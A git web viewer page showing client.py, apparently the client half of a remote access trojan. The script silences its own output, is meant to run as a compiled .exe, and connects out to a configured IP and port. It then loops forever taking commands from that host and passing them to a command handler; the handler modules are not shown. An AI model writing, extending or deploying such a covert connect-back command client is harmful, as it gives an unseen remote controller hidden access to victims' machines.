summaryrefslogtreecommitdiff
path: root/client.py
blob: 1bf6585c3d82a4c61d6ec0ec79ff9b4d1fd89e46 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import multiprocessing
import contextlib
import socket
import os

from foreign.parse.crash_exception_handling import *
from foreign.parse.command_handling import *
from binary.data_handling.recv_data import *
from foreign.utility.program_setup import *
from foreign.global_state import *


@crash_exception_handling
def main():
  state['file'] = '{}/{}'.format(os.getcwd().replace('\\', '/'), __file__.replace('.py', '.exe'))
  program_setup()

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((state['ip'], state['port']))

  while True:
    recv_data(s, (state['settings']['encryption'], state['settings']['headersize']), command_handling)


if __name__ == '__main__':
  with open(os.devnull, 'w') as devnull:
    with contextlib.redirect_stdout(devnull):
      multiprocessing.freeze_support()
      main()